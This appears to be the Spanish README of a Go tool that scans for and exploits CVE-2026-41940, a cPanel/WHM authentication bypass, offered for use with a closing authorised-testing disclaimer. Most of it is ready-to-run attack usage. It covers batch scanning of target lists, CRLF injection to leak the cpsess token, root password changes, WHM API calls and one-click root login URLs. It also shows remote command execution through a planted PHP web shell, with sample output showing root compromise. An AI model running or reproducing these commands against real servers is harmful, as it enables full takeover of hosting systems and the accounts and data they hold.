
Herramienta de escaneo y explotación basada en Go para CVE-2026-41940, una omisión de autenticación en cPanel/WHM. Admite escaneo por lotes, fuga de tokens y acciones posteriores a la explotación como RCE, cambio de contraseña y llamadas a la API.
Herramienta de línea de comandos en Go reescrita a partir del PoC en Python de watchTowr, utilizada para detectar y explotar la vulnerabilidad de bypass de autenticación CVE-2026-41940 en cPanel/WHM.
CVE-2026-41940 es una vulnerabilidad de bypass de autenticación en cPanel/WHM. La cadena de ataque inyecta CRLF en el encabezado Basic Auth, filtrando el token de seguridad y obteniendo privilegios root de WHM.
Cadena de ataque en 4 fases:
/login/ para obtener la cookie whostmgrsession originalAuthorization: Basic, induciendo al servidor a filtrar el token de seguridad cpsess en el encabezado Location de la redirección 307do_token_denied para propagar los datos de autenticación inyectados del almacenamiento original a la caché/json-api/version y verificar si se obtuvieron privilegios roothttp://, https://, formatos sin protocolo, y deduplicación automática-passwd)-api)-session)-cmd)[VULN] en rojo, [SAFE] en verde# Requiere Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
| Parámetro | Descripción | Ejemplo |
|---|---|---|
-u | URL de objetivo único | -u https://1.2.3.4:2087 |
-f | Archivo que contiene la lista de URL | -f targets.txt |
-o | Ruta del archivo de salida (por defecto result.txt) | -o vuln.txt |
-c | Número de concurrencia (por defecto 10) | -c 20 |
-hostname | Especificar manualmente el encabezado Host (por defecto detección automática) | -hostname cpanel.example.com |
-passwd | Cambiar la contraseña de root (solo modo -u) | -passwd NewP@ss123 |
-api | Invocar función de API de WHM (solo modo -u) | -api listaccts |
-api-params | Parámetros de la API de WHM, separados por comas | -api-params user=root,password=123 |
-session | Generar URL de inicio de sesión root con un clic (solo modo -u) | -session |
-keep | Conservar la cuenta temporal de RCE sin eliminar (con -cmd) | -keep |
-cmd | Ejecutar comando remoto / RCE (solo modo -u) | -cmd "id" |
./cpanel-checker -u https://target:2087
El puerto por defecto es 2087; las siguientes formas son equivalentes:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt admite los siguientes formatos (una por línea, las líneas que comienzan con # son comentarios):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# Esto es un comentario
http://1.1.1.1 y https://1.1.1.1 se consideran el mismo objetivo y solo se escanean una vezhttps://2087result.txt (personalizable con -o)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# Listar todas las cuentas
./cpanel-checker -u https://target:2087 -api listaccts
# Invocar con parámetros
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
Genera una URL que, al abrirse en el navegador, da acceso al panel de administración de WHM. En el panel, use la función Terminal para obtener un shell root interactivo.
Nota:
-sessiones semiautomático — la herramienta genera la URL de inicio de sesión y usted debe abrirla manualmente en el navegador.
./cpanel-checker -u https://target:2087 -cmd "id"
Agregue -keep para conservar la cuenta temporal y poder iniciar sesión en el panel de cPanel:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
Con -keep, la salida incluirá el nombre de usuario, la contraseña y la dirección de inicio de sesión de cPanel (https://host:2083) de la cuenta temporal; use estas credenciales directamente para iniciar sesión en el panel de cPanel.
-cmd es totalmente automático y no requiere otras operaciones manuales. Flujo interno:
~/public_html/ mediante UAPI (Fileman::save_file_content)https://host/~tmpuser/shell.php a través de HTTP para ejecutar comandosRequisito previo: los puertos 80 o 443 del objetivo deben ser accesibles y Apache/httpd debe estar en ejecución.
Se pueden usar varios parámetros de explotación simultáneamente:
# Obtener URL de inicio de sesión, ejecutar comando y cambiar contraseña al mismo tiempo
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
Cuando la IP del objetivo no coincide con el nombre de host configurado en cPanel, se puede especificar manualmente:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
Por defecto, la herramienta descubre automáticamente el nombre de host correcto mediante la redirección 307 de /openid_connect/cpanelid.
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== Escaneo completado ==========
Total: 5 | Vulnerables: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] Resultados guardados en result.txt
[*] Objetivo: https://target:2087
[*] Modo: Explotación
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] Se obtuvieron privilegios root de WHM
[*] Ejecutando comando remoto (RCE)...
[a] Creando cuenta temporal: tmpabcde
[b] Escribiendo shell: /home/tmpabcde/public_html/random.php
[c] Ejecutando comando: id
[d] Limpiando cuenta temporal: tmpabcde
[+] Salida del comando:
uid=0(root) gid=0(root) groups=0(root)
[+] Completado. https://target:2087 ha sido comprometido
-passwd, -api, -session, -cmd) solo están disponibles en el modo de objetivo único -u; no se admiten en el modo masivo -f# en el archivo de URL se ignoranEsta herramienta está destinada únicamente a pruebas de seguridad autorizadas e investigación. Probar sistemas sin autorización es ilegal. El usuario debe asegurarse de haber obtenido la autorización escrita explícita del propietario del sistema objetivo. El autor no se hace responsable de ningún uso indebido.